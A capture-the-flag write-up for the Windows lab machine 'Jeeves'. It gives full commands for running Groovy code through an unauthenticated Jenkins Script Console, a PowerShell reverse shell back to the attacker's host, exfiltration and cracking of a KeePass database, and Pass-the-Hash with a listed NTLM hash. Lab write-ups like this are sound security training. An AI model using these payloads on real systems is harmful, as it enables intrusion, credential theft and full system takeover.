Jeeves
A Jenkins CI server on port 50000 had authentication disabled, allowing unauthenticated access to the Groovy Script Console and remote code execution as jeeves\kohsuke.
Overview
Jeeves is a medium-difficulty Windows box centred on a Jenkins automation server exposed on a non-standard port with no authentication. Visiting the Script Console lets anyone execute Groovy — and therefore arbitrary OS commands — as the service account. From that foothold, a KeePass database in the user’s Documents folder is exfiltrated via Groovy file-read, cracked offline with rockyou, and found to contain an Administrator NTLM hash stored as a vault entry. The hash is passed directly to netexec for a Pass-the-Hash as Administrator, and the root flag is hidden inside an NTFS Alternate Data Stream that requires -Stream to read.
Machine Matrix
High Real-Life score reflects that unauthenticated Jenkins and Pass-the-Hash are genuine enterprise attack paths; the CTF-like axis is pulled up by the NTFS ADS flag-hiding trick.
Recon
| Port | Service | Notes |
|---|---|---|
| 80 | HTTP (IIS) | Default IIS page, nothing useful |
| 135 | MSRPC | Standard Windows RPC |
| 445 | SMB | Windows file sharing |
| 50000 | Jenkins HTTP | Full Jenkins UI, no authentication |
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p80,135,445,50000 -sC -sV -Pn 10.10.10.X
Port 80 returns the default IIS splash page; everything interesting is on 50000 where Jenkins answers without prompting for a login.
Enumeration
Browsing to http://10.10.10.X:50000/askjeeves/ opens a full Jenkins dashboard with no authentication. The critical finding is the Script Console, which accepts arbitrary Groovy and executes it on the server:
1
curl -s "http://10.10.10.X:50000/askjeeves/script" | grep -q "Groovy script" && echo "VULNERABLE"
The CSRF crumb Jenkins requires is extractable from the same unauthenticated page, so nothing blocks the attack:
1
2
CRUMB=$(curl -s "http://10.10.10.X:50000/askjeeves/" | grep -oE 'crumb.init[^)]+' | grep -oE '"[a-f0-9]{32}"' | tr -d '"' | head -1)
echo "Crumb: $CRUMB"
CWE-306 — Missing Authentication for Critical Function — is the root cause. Jenkins shipped with “Allow users to sign up” and “Anyone can do anything” enabled and was never hardened.
Foothold
With the crumb in hand, POST a Groovy payload to /askjeeves/scriptText to confirm command injection:
1
2
3
curl -s -X POST "http://10.10.10.X:50000/askjeeves/scriptText" \
-H "Jenkins-Crumb: $CRUMB" \
--data-urlencode 'script=def p=["cmd.exe","/c","whoami"].execute();p.waitFor();println(p.text)'
Expected output: jeeves\kohsuke. Start a listener and send a reverse shell via Groovy’s execute():
1
nc -lvnp 4444
1
2
3
curl -s -X POST "http://10.10.10.X:50000/askjeeves/scriptText" \
-H "Jenkins-Crumb: $CRUMB" \
--data-urlencode 'script=def p=["cmd.exe","/c","powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient('"'"'10.10.14.X'"'"',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'"'"'PS '"'"'+((pwd).Path)+'"'"'> '"'"';$r=[text.encoding]::ASCII.GetBytes($sb2);$s.Write($r,0,$r.Length)}\""].execute();p.waitFor()'
A shell returns as jeeves\kohsuke.
User flag
1
type C:\Users\kohsuke\Desktop\user.txt # HTB{...}
We land directly as kohsuke and the user flag is on the desktop.
Privilege Escalation
Step 1 — Exfiltrate the KeePass database
Enumerate the user’s Documents folder through the still-open Groovy console:
1
2
3
curl -s -X POST "http://10.10.10.X:50000/askjeeves/scriptText" \
-H "Jenkins-Crumb: $CRUMB" \
--data-urlencode 'script=def p=["cmd.exe","/c","dir C:\\Users\\kohsuke\\Documents"].execute();p.waitFor();println(p.text)'
CEH.kdbx is present. Exfiltrate it with Groovy’s built-in base64 file-read (CWE-200 — Exposure of Sensitive Information):
1
2
3
4
curl -s -X POST "http://10.10.10.X:50000/askjeeves/scriptText" \
-H "Jenkins-Crumb: $CRUMB" \
--data-urlencode 'script=def f=new File("C:\\Users\\kohsuke\\Documents\\CEH.kdbx");println(f.bytes.encodeBase64().toString())' \
| base64 -d > /tmp/CEH.kdbx
Step 2 — Crack the KeePass master password
1
2
3
keepass2john /tmp/CEH.kdbx > /tmp/keepass.hash
john /tmp/keepass.hash --wordlist=/usr/share/wordlists/rockyou.txt
john /tmp/keepass.hash --show
Master password cracks to moonshine1. Open the database in KeePassXC or kpcli and inspect the “Backup stuff” entry — it contains an NTLM hash for the Administrator account (CWE-522 — Insufficiently Protected Credentials):
1
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
Step 3 — Pass-the-Hash as Administrator
The NTLM hash is passed directly to netexec over SMB (CWE-294 — Authentication Bypass by Capture-replay) — no plaintext password required:
1
netexec smb 10.10.10.X -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' -x 'whoami'
Expected: nt authority\system.
Step 4 — Find the hidden NTFS ADS flag
The root flag is not in a standard root.txt — it is hidden in an NTFS Alternate Data Stream attached to hm.txt. Enumerate streams with dir /R:
1
2
netexec smb 10.10.10.X -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' \
-x 'dir /R C:\Users\Administrator\Desktop'
Output shows hm.txt:root.txt:$DATA. Read the hidden stream:
1
2
netexec smb 10.10.10.X -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' \
-x 'powershell Get-Content -Path C:\Users\Administrator\Desktop\hm.txt -Stream root.txt'
Root flag
1
2
netexec smb 10.10.10.X -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' \
-x 'powershell Get-Content -Path C:\Users\Administrator\Desktop\hm.txt -Stream root.txt' # HTB{...}
Full compromise of Jeeves achieved — SYSTEM-level access via Pass-the-Hash, with the root flag recovered from a hidden NTFS Alternate Data Stream.